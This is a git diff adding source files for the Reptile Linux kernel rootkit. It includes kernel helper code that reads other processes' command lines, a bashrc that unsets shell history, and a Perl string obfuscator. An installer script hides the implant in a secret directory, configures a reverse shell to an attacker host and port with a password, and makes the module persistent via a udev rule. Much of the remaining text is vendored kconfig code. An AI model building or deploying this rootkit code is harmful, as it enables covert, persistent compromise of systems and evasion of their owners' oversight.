&p, end)) + continue; + + /* ESCAPE_OCTAL and ESCAPE_HEX always go last */ + if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end)) + continue; + + if (flags & ESCAPE_HEX && escape_hex(c, &p, end)) + continue; + } + + escape_passthrough(c, &p, end); + } + + return p - dst; +} + +char *kstrdup_quotable(const char *src, gfp_t gfp) +{ + size_t slen, dlen; + char *dst; + const int flags = ESCAPE_HEX; + const char esc[] = "\f\n\r\t\v\a\e\\\""; + + if (!src) + return NULL; + slen = strlen(src); + + dlen = string_escape_mem(src, slen, NULL, 0, flags, esc); + dst = kmalloc(dlen + 1, gfp); + if (!dst) + return NULL; + + WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen); + dst[dlen] = '\0'; + + return dst; +} + +#include "util.h" + +char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp) +{ + char *buffer, *quoted; + int i, res; + + buffer = kmalloc(PAGE_SIZE, GFP_KERNEL); + if (!buffer) + return NULL; + + res = get_cmdline(task, buffer, PAGE_SIZE - 1); + buffer[res] = '\0'; + + /* Collapse trailing NULLs, leave res pointing to last non-NULL. */ + while (--res >= 0 && buffer[res] == '\0') + ; + + /* Replace inter-argument NULLs. */ + for (i = 0; i <= res; i++) + if (buffer[i] == '\0') + buffer[i] = ' '; + + /* Make sure result is printable. */ + quoted = kstrdup_quotable(buffer, gfp); + kfree(buffer); + return quoted; +} + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) +char *strreplace(char *s, char old, char new) +{ + for (; *s; ++s) + if (*s == old) + *s = new; + return s; +} + +#endif +#endif \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/util.c b/Linux/Rootkits/Reptile/kernel/util.c new file mode 100644 index 0000000..8f846ce --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/util.c @@ -0,0 +1,115 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) +# include +#endif + +#include "util.h" + +asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int); + +int util_init(void) +{ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) + _access_process_vm = (void *) access_process_vm; +#else + _access_process_vm = (void *) ksym_lookup_name("access_process_vm"); +#endif + + if (!_access_process_vm) + return -EFAULT; + + return 0; +} + +/* stolen from mm/util.c */ + +int get_cmdline(struct task_struct *task, char *buffer, int buflen) +{ + int res = 0; + unsigned int len; + struct mm_struct *mm = get_task_mm(task); + unsigned long arg_start, arg_end, env_start, env_end; + if (!mm) + goto out; + if (!mm->arg_end) + goto out_mm; + + down_read(&mm->mmap_sem); + arg_start = mm->arg_start; + arg_end = mm->arg_end; + env_start = mm->env_start; + env_end = mm->env_end; + up_read(&mm->mmap_sem); + + len = arg_end - arg_start; + + if (len > buflen) + len = buflen; + + res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE); + + /* + * If the nul at the end of args has been overwritten, then + * assume application is using setproctitle(3). + */ + if (res > 0 && buffer[res-1] != '\0' && len < buflen) { + len = strnlen(buffer, res); + if (len < res) { + res = len; + } else { + len = env_end - env_start; + if (len > buflen - res) + len = buflen - res; + res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE); + res = strnlen(buffer, res); + } + } +out_mm: + mmput(mm); +out: + return res; +} + +/* +static int count_argc(const char *str) +{ + int count = 0; + bool was_space; + + for (was_space = true; *str; str++) { + if (isspace(*str)) { + was_space = true; + } else if (was_space) { + was_space = false; + count++; + } + } + + return count; +} + +int run_cmd(const char *cmd) +{ + char **argv; + int ret; + int i; + + argv = argv_split(GFP_KERNEL, cmd, NULL); + if (argv) { + ret = exec(argv); + argv_free(argv); + } else { + ret = -ENOMEM; + } + + return ret; +} +*/ \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/scripts/bashrc b/Linux/Rootkits/Reptile/scripts/bashrc new file mode 100644 index 0000000..2b28f96 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/bashrc @@ -0,0 +1,59 @@ +case $- in + *i*) ;; + *) return;; +esac + +tty -s || return +[ ! -z $TERM ] && export TERM=xterm +unset HISTFILE SAVEHIST TMOUT PROMPT_COMMAND +[ $(id -u) != 0 ] && kill -9 $$ + +#declare -x LS_COLORS="no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mng=01;35:*.xcf=01;35:*.pcx=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.avi=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.mov=01;35:*.qt=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.pdf=00;32:*.ps=00;32:*.txt=00;32:*.patch=00;32:*.diff=00;32:*.log=00;32:*.tex=00;32:*.doc=00;32:*.mp3=00;36:*.wav=00;36:*.mid=00;36:*.midi=00;36:*.au=00;36:*.ogg=00;36:*.flac=00;36:*.aac=00;36:" +export TERM="xterm" +#HISTCONTROL=ignoreboth +#shopt -s histappend +#HISTSIZE=1000 +#HISTFILESIZE=2000 + +shopt -s checkwinsize +uname -a; id; +echo + +color_prompt=yes +force_color_prompt=yes + +if [ -n "$force_color_prompt" ]; then + if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then + color_prompt=yes + else + color_prompt= + fi +fi + +if [ "$color_prompt" = yes ]; then + PS1='\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ ' +else + PS1='\u@\h:\w\$ ' +fi +unset color_prompt force_color_prompt + +if [ -x /usr/bin/dircolors ]; then + test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)" + alias ls='ls --color=auto' + alias grep='grep --color=auto' +fi + +alias l=ls +alias ll='ls --color=auto -AlFhn' +alias rm='rm -rfv' +alias nano='nano -ELSit' +alias s="ssh -i id_dsa -i id_rsa -v -o 'StrictHostKeyChecking no' -o 'UserKnownHostsFile /dev/null' -o 'ServerAliveInterval 30'" +alias sc="scp -i id_dsa -i id_rsa -v -o 'StrictHostKeyChecking no' -o 'UserKnownHostsFile /dev/null'" + +if ! shopt -oq posix; then + if [ -f /usr/share/bash-completion/bash_completion ]; then + . /usr/share/bash-completion/bash_completion + elif [ -f /etc/bash_completion ]; then + . /etc/bash_completion + fi +fi diff --git a/Linux/Rootkits/Reptile/scripts/destringify.pl b/Linux/Rootkits/Reptile/scripts/destringify.pl new file mode 100644 index 0000000..f75a319 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/destringify.pl @@ -0,0 +1,37 @@ +#!/usr/bin/perl -w +# +# Author: Ilya V. Matveychikov +# +# https://github.com/milabs +# + +use FindBin qw($Bin); +use lib "$Bin/lib"; +use Unescape; + +sub translate($) { + my $str = shift; + + my $i = 0; + my @tokens = (); + push @tokens, "unsigned int *p = __builtin_alloca(%d)"; + map { push @tokens, sprintf("p[%d] = 0x%08x", $i++, $_) } unpack("V*", pack("(C4)*", unpack("C*", String::Unescape->unescape($str)), 0)); + push @tokens, "(char *)p"; + my $body = join("; ", @tokens); + + return sprintf("({ $body; })", scalar($i) << 2); +} + +while (my $line = ) { + + next if ($line =~ /asm/); + next if ($line =~ /include/); + next if ($line =~ /__attribute__/); + + while ($line =~ /"(.*?)"/) { + my $replace = translate($1); + $line =~ s/(".*?")/$replace/; + } +} continue { + print "$line" +} diff --git a/Linux/Rootkits/Reptile/scripts/installer.sh b/Linux/Rootkits/Reptile/scripts/installer.sh new file mode 100644 index 0000000..954411e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/installer.sh @@ -0,0 +1,65 @@ +#!/bin/bash + +function random_gen_dec { + RETVAL=$(shuf -i 50-99 -n 1) +} + +PWD="$(cd "$(dirname ${BASH_SOURCE[0]})" && pwd)" +[ $? -ne 0 ] && PWD="$(cd "$(dirname $0)" && pwd)" +source "${BASH_SOURCE%/*}/../.config" || \ +{ echo "Error: no .config file found!"; exit; } + +UDEV_DIR=/lib/udev +random_gen_dec && NAME=$RETVAL-$HIDE.rules +RULE=/lib/udev/rules.d/$NAME +[ ! -d /lib/udev/rules.d ] && RULE=/etc/udev/rules.d/$NAME + +# Create Reptile's folder +mkdir -p /$HIDE && \ + +# Copy "cmd" binary +cp $PWD/../output/cmd /$HIDE/$HIDE"_cmd" && \ + +# Copy "shell" binary +cp $PWD/../output/shell /$HIDE/$HIDE"_shell" && \ + +# Copy "bashrc" +cp $PWD/../scripts/bashrc /$HIDE/$HIDE"_rc" && \ + +# Create start script +cp $PWD/../scripts/start /$HIDE/$HIDE"_start" && \ +sed -i s!XXXXX!$TAG_NAME! /$HIDE/$HIDE"_start" && \ +sed -i s!\#CMD!/$HIDE/$HIDE"_cmd"! /$HIDE/$HIDE"_start" && \ +if [ "$CONFIG_RSHELL_ON_START" == "y" ]; then + sed -i s!\#SHELL!/$HIDE/$HIDE"_shell"! /$HIDE/$HIDE"_start" && \ + sed -i s!LHOST!$LHOST! /$HIDE/$HIDE"_start" && \ + sed -i s!LPORT!$LPORT! /$HIDE/$HIDE"_start" && \ + sed -i s!PASS!$PASSWORD! /$HIDE/$HIDE"_start" && \ + sed -i s!INTERVAL!$INTERVAL! /$HIDE/$HIDE"_start" && \ + true || false; +fi + +# Permissions +chmod 777 /$HIDE/* && \ + +# Copy kernel implant +cp $PWD/../output/reptile /$HIDE/$HIDE && \ + +# Make persistent +cp $PWD/../output/reptile $UDEV_DIR/$HIDE && \ +cp $PWD/../scripts/rule $RULE && \ + +# cleaning output dir +rm -rf $PWD/../output && \ + +# Load Reptile +/$HIDE/$HIDE && \ + +echo -e "\n\e[44;01;33m*** DONE! ***\e[00m\n" || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; } + +# How to Uninstall +echo -e "UNINSTALL:\n" +echo -e "/$HIDE/$HIDE""_cmd show" +echo -e "rmmod reptile_module" +echo -e "rm -rf /$HIDE $RULE $UDEV_DIR/$HIDE" +echo \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_patches b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_patches new file mode 100644 index 0000000..4baccb8 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_patches @@ -0,0 +1 @@ +patches diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_series b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_series new file mode 100644 index 0000000..c206706 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.quilt_series @@ -0,0 +1 @@ +series diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.version b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.version new file mode 100644 index 0000000..0cfbf08 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/.version @@ -0,0 +1 @@ +2 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/confdata.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/confdata.c new file mode 100644 index 0000000..87f7238 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/confdata.c @@ -0,0 +1,1239 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf_warning(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static void conf_message(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static const char *conf_filename; +static int conf_lineno, conf_warnings, conf_unsaved; + +const char conf_defname[] = "arch/$ARCH/defconfig"; + +static void conf_warning(const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); + conf_warnings++; +} + +static void conf_default_message_callback(const char *fmt, va_list ap) +{ + printf("#\n# "); + vprintf(fmt, ap); + printf("\n#\n"); +} + +static void (*conf_message_callback) (const char *fmt, va_list ap) = + conf_default_message_callback; +void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap)) +{ + conf_message_callback = fn; +} + +static void conf_message(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if (conf_message_callback) + conf_message_callback(fmt, ap); +} + +const char *conf_get_configname(void) +{ + char *name = getenv("KCONFIG_CONFIG"); + + return name ? name : ".config"; +} + +const char *conf_get_autoconfig_name(void) +{ + char *name = getenv("KCONFIG_AUTOCONFIG"); + + return name ? name : "include/config/auto.conf"; +} + +static char *conf_expand_value(const char *in) +{ + struct symbol *sym; + const char *src; + static char res_value[SYMBOL_MAXLENGTH]; + char *dst, name[SYMBOL_MAXLENGTH]; + + res_value[0] = 0; + dst = name; + while ((src = strchr(in, '$'))) { + strncat(res_value, in, src - in); + src++; + dst = name; + while (isalnum(*src) || *src == '_') + *dst++ = *src++; + *dst = 0; + sym = sym_lookup(name, 0); + sym_calc_value(sym); + strcat(res_value, sym_get_string_value(sym)); + in = src; + } + strcat(res_value, in); + + return res_value; +} + +char *conf_get_default_confname(void) +{ + struct stat buf; + static char fullname[PATH_MAX+1]; + char *env, *name; + + name = conf_expand_value(conf_defname); + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + if (!stat(fullname, &buf)) + return fullname; + } + return name; +} + +static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) +{ + char *p2; + + switch (sym->type) { + case S_TRISTATE: + if (p[0] == 'm') { + sym->def[def].tri = mod; + sym->flags |= def_flags; + break; + } + /* fall through */ + case S_BOOLEAN: + if (p[0] == 'y') { + sym->def[def].tri = yes; + sym->flags |= def_flags; + break; + } + if (p[0] == 'n') { + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + } + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + case S_OTHER: + if (*p != '"') { + for (p2 = p; *p2 && !isspace(*p2); p2++) + ; + sym->type = S_STRING; + goto done; + } + /* fall through */ + case S_STRING: + if (*p++ != '"') + break; + for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { + if (*p2 == '"') { + *p2 = 0; + break; + } + memmove(p2, p2 + 1, strlen(p2)); + } + if (!p2) { + if (def != S_DEF_AUTO) + conf_warning("invalid string found"); + return 1; + } + /* fall through */ + case S_INT: + case S_HEX: + done: + if (sym_string_valid(sym, p)) { + sym->def[def].val = strdup(p); + sym->flags |= def_flags; + } else { + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + } + break; + default: + ; + } + return 0; +} + +#define LINE_GROWTH 16 +static int add_byte(int c, char **lineptr, size_t slen, size_t *n) +{ + char *nline; + size_t new_size = slen + 1; + if (new_size > *n) { + new_size += LINE_GROWTH - 1; + new_size *= 2; + nline = realloc(*lineptr, new_size); + if (!nline) + return -1; + + *lineptr = nline; + *n = new_size; + } + + (*lineptr)[slen] = c; + + return 0; +} + +static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) +{ + char *line = *lineptr; + size_t slen = 0; + + for (;;) { + int c = getc(stream); + + switch (c) { + case '\n': + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + /* fall through */ + case EOF: + if (add_byte('\0', &line, slen, n) < 0) + goto e_out; + *lineptr = line; + if (slen == 0) + return -1; + return slen; + default: + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + } + } + +e_out: + line[slen-1] = '\0'; + *lineptr = line; + return -1; +} + +int conf_read_simple(const char *name, int def) +{ + FILE *in = NULL; + char *line = NULL; + size_t line_asize = 0; + char *p, *p2; + struct symbol *sym; + int i, def_flags; + + if (name) { + in = zconf_fopen(name); + } else { + struct property *prop; + + name = conf_get_configname(); + in = zconf_fopen(name); + if (in) + goto load; + sym_add_change_count(1); + if (!sym_defconfig_list) { + if (modules_sym) + sym_calc_value(modules_sym); + return 1; + } + + for_all_defaults(sym_defconfig_list, prop) { + if (expr_calc_value(prop->visible.expr) == no || + prop->expr->type != E_SYMBOL) + continue; + name = conf_expand_value(prop->expr->left.sym->name); + in = zconf_fopen(name); + if (in) { + conf_message(_("using defaults found in %s"), + name); + goto load; + } + } + } + if (!in) + return 1; + +load: + conf_filename = name; + conf_lineno = 0; + conf_warnings = 0; + conf_unsaved = 0; + + def_flags = SYMBOL_DEF << def; + for_all_symbols(i, sym) { + sym->flags |= SYMBOL_CHANGED; + sym->flags &= ~(def_flags|SYMBOL_VALID); + if (sym_is_choice(sym)) + sym->flags |= def_flags; + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + if (sym->def[def].val) + free(sym->def[def].val); + /* fall through */ + default: + sym->def[def].val = NULL; + sym->def[def].tri = no; + } + } + + while (compat_getline(&line, &line_asize, in) != -1) { + conf_lineno++; + sym = NULL; + if (line[0] == '#') { + if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) + continue; + p = strchr(line + 2 + strlen(CONFIG_), ' '); + if (!p) + continue; + *p++ = 0; + if (strncmp(p, "is not set", 10)) + continue; + if (def == S_DEF_USER) { + sym = sym_find(line + 2 + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_BOOLEAN; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + default: + ; + } + } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { + p = strchr(line + strlen(CONFIG_), '='); + if (!p) + continue; + *p++ = 0; + p2 = strchr(p, '\n'); + if (p2) { + *p2-- = 0; + if (*p2 == '\r') + *p2 = 0; + } + if (def == S_DEF_USER) { + sym = sym_find(line + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_OTHER; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + if (conf_set_sym_val(sym, def, def_flags, p)) + continue; + } else { + if (line[0] != '\r' && line[0] != '\n') + conf_warning("unexpected data"); + continue; + } +setsym: + if (sym && sym_is_choice_value(sym)) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + switch (sym->def[def].tri) { + case no: + break; + case mod: + if (cs->def[def].tri == yes) { + conf_warning("%s creates inconsistent choice state", sym->name); + cs->flags &= ~def_flags; + } + break; + case yes: + if (cs->def[def].tri != no) + conf_warning("override: %s changes choice state", sym->name); + cs->def[def].val = sym; + break; + } + cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); + } + } + free(line); + fclose(in); + + if (modules_sym) + sym_calc_value(modules_sym); + return 0; +} + +int conf_read(const char *name) +{ + struct symbol *sym; + int i; + + sym_set_change_count(0); + + if (conf_read_simple(name, S_DEF_USER)) + return 1; + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) + continue; + if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { + /* check that calculated value agrees with saved value */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) + break; + if (!sym_is_choice(sym)) + continue; + /* fall through */ + default: + if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) + continue; + break; + } + } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) + /* no previous value and not saved */ + continue; + conf_unsaved++; + /* maybe print value in verbose mode... */ + } + + for_all_symbols(i, sym) { + if (sym_has_value(sym) && !sym_is_choice_value(sym)) { + /* Reset values of generates values, so they'll appear + * as new, if they should become visible, but that + * doesn't quite work if the Kconfig and the saved + * configuration disagree. + */ + if (sym->visible == no && !conf_unsaved) + sym->flags &= ~SYMBOL_DEF_USER; + switch (sym->type) { + case S_STRING: + case S_INT: + case S_HEX: + /* Reset a string value if it's out of range */ + if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) + break; + sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); + conf_unsaved++; + break; + default: + break; + } + } + } + + sym_add_change_count(conf_warnings || conf_unsaved); + + return 0; +} + +/* + * Kconfig configuration printer + * + * This printer is used when generating the resulting configuration after + * kconfig invocation and `defconfig' files. Unset symbol might be omitted by + * passing a non-NULL argument to the printer. + * + */ +static void +kconfig_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (*value == 'n') { + bool skip_unset = (arg != NULL); + + if (!skip_unset) + fprintf(fp, "# %s%s is not set\n", + CONFIG_, sym->name); + return; + } + break; + default: + break; + } + + fprintf(fp, "%s%s=%s\n", CONFIG_, sym->name, value); +} + +static void +kconfig_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, "#"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } +} + +static struct conf_printer kconfig_printer_cb = +{ + .print_symbol = kconfig_print_symbol, + .print_comment = kconfig_print_comment, +}; + +/* + * Header printer + * + * This printer is used when generating the `include/generated/autoconf.h' file. + */ +static void +header_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: { + const char *suffix = ""; + + switch (*value) { + case 'n': + break; + case 'm': + suffix = "_MODULE"; + /* fall through */ + default: + fprintf(fp, "#define %s%s%s 1\n", + CONFIG_, sym->name, suffix); + } + break; + } + case S_HEX: { + const char *prefix = ""; + + if (value[0] != '0' || (value[1] != 'x' && value[1] != 'X')) + prefix = "0x"; + fprintf(fp, "#define %s%s %s%s\n", + CONFIG_, sym->name, prefix, value); + break; + } + case S_STRING: + case S_INT: + fprintf(fp, "#define %s%s %s\n", + CONFIG_, sym->name, value); + break; + default: + break; + } + +} + +static void +header_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + fprintf(fp, "/*\n"); + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, " *"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } + fprintf(fp, " */\n"); +} + +static struct conf_printer header_printer_cb = +{ + .print_symbol = header_print_symbol, + .print_comment = header_print_comment, +}; + +/* + * Tristate printer + * + * This printer is used when generating the `include/config/tristate.conf' file. + */ +static void +tristate_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + if (sym->type == S_TRISTATE && *value != 'n') + fprintf(fp, "%s%s=%c\n", CONFIG_, sym->name, (char)toupper(*value)); +} + +static struct conf_printer tristate_printer_cb = +{ + .print_symbol = tristate_print_symbol, + .print_comment = kconfig_print_comment, +}; + +static void conf_write_symbol(FILE *fp, struct symbol *sym, + struct conf_printer *printer, void *printer_arg) +{ + const char *str; + + switch (sym->type) { + case S_OTHER: + case S_UNKNOWN: + break; + case S_STRING: + str = sym_get_string_value(sym); + str = sym_escape_string_value(str); + printer->print_symbol(fp, sym, str, printer_arg); + free((void *)str); + break; + default: + str = sym_get_string_value(sym); + printer->print_symbol(fp, sym, str, printer_arg); + } +} + +static void +conf_write_heading(FILE *fp, struct conf_printer *printer, void *printer_arg) +{ + char buf[256]; + + snprintf(buf, sizeof(buf), + "\n" + "Automatically generated file; DO NOT EDIT.\n" + "%s\n", + rootmenu.prompt->text); + + printer->print_comment(fp, buf, printer_arg); +} + +/* + * Write out a minimal config. + * All values that has default values are skipped as this is redundant. + */ +int conf_write_defconfig(const char *filename) +{ + struct symbol *sym; + struct menu *menu; + FILE *out; + + out = fopen(filename, "w"); + if (!out) + return 1; + + sym_clear_all_valid(); + + /* Traverse all menus to find all relevant symbols */ + menu = rootmenu.list; + + while (menu != NULL) + { + sym = menu->sym; + if (sym == NULL) { + if (!menu_is_visible(menu)) + goto next_menu; + } else if (!sym_is_choice(sym)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next_menu; + sym->flags &= ~SYMBOL_WRITE; + /* If we cannot change the symbol - skip */ + if (!sym_is_changable(sym)) + goto next_menu; + /* If symbol equals to default value - skip */ + if (strcmp(sym_get_string_value(sym), sym_get_string_default(sym)) == 0) + goto next_menu; + + /* + * If symbol is a choice value and equals to the + * default for a choice - skip. + * But only if value is bool and equal to "y" and + * choice is not "optional". + * (If choice is "optional" then all values can be "n") + */ + if (sym_is_choice_value(sym)) { + struct symbol *cs; + struct symbol *ds; + + cs = prop_get_symbol(sym_get_choice_prop(sym)); + ds = sym_choice_default(cs); + if (!sym_is_optional(cs) && sym == ds) { + if ((sym->type == S_BOOLEAN) && + sym_get_tristate_value(sym) == yes) + goto next_menu; + } + } + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } +next_menu: + if (menu->list != NULL) { + menu = menu->list; + } + else if (menu->next != NULL) { + menu = menu->next; + } else { + while ((menu = menu->parent)) { + if (menu->next != NULL) { + menu = menu->next; + break; + } + } + } + } + fclose(out); + return 0; +} + +int conf_write(const char *name) +{ + FILE *out; + struct symbol *sym; + struct menu *menu; + const char *basename; + const char *str; + char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1]; + char *env; + + dirname[0] = 0; + if (name && name[0]) { + struct stat st; + char *slash; + + if (!stat(name, &st) && S_ISDIR(st.st_mode)) { + strcpy(dirname, name); + strcat(dirname, "/"); + basename = conf_get_configname(); + } else if ((slash = strrchr(name, '/'))) { + int size = slash - name + 1; + memcpy(dirname, name, size); + dirname[size] = 0; + if (slash[1]) + basename = slash + 1; + else + basename = conf_get_configname(); + } else + basename = name; + } else + basename = conf_get_configname(); + + sprintf(newname, "%s%s", dirname, basename); + env = getenv("KCONFIG_OVERWRITECONFIG"); + if (!env || !*env) { + sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid()); + out = fopen(tmpname, "w"); + } else { + *tmpname = 0; + out = fopen(newname, "w"); + } + if (!out) + return 1; + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + if (!conf_get_changed()) + sym_clear_all_valid(); + + menu = rootmenu.list; + while (menu) { + sym = menu->sym; + if (!sym) { + if (!menu_is_visible(menu)) + goto next; + str = menu_get_prompt(menu); + fprintf(out, "\n" + "#\n" + "# %s\n" + "#\n", str); + } else if (!(sym->flags & SYMBOL_CHOICE)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next; + sym->flags &= ~SYMBOL_WRITE; + + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } + +next: + if (menu->list) { + menu = menu->list; + continue; + } + if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->next) { + menu = menu->next; + break; + } + } + } + fclose(out); + + if (*tmpname) { + strcat(dirname, basename); + strcat(dirname, ".old"); + rename(newname, dirname); + if (rename(tmpname, newname)) + return 1; + } + + conf_message(_("configuration written to %s"), newname); + + sym_set_change_count(0); + + return 0; +} + +static int conf_split_config(void) +{ + const char *name; + char path[PATH_MAX+1]; + char *s, *d, c; + struct symbol *sym; + struct stat sb; + int res, i, fd; + + name = conf_get_autoconfig_name(); + conf_read_simple(name, S_DEF_AUTO); + + if (chdir("include/config")) + return 1; + + res = 0; + for_all_symbols(i, sym) { + sym_calc_value(sym); + if ((sym->flags & SYMBOL_AUTO) || !sym->name) + continue; + if (sym->flags & SYMBOL_WRITE) { + if (sym->flags & SYMBOL_DEF_AUTO) { + /* + * symbol has old and new value, + * so compare them... + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == + sym->def[S_DEF_AUTO].tri) + continue; + break; + case S_STRING: + case S_HEX: + case S_INT: + if (!strcmp(sym_get_string_value(sym), + sym->def[S_DEF_AUTO].val)) + continue; + break; + default: + break; + } + } else { + /* + * If there is no old value, only 'no' (unset) + * is allowed as new 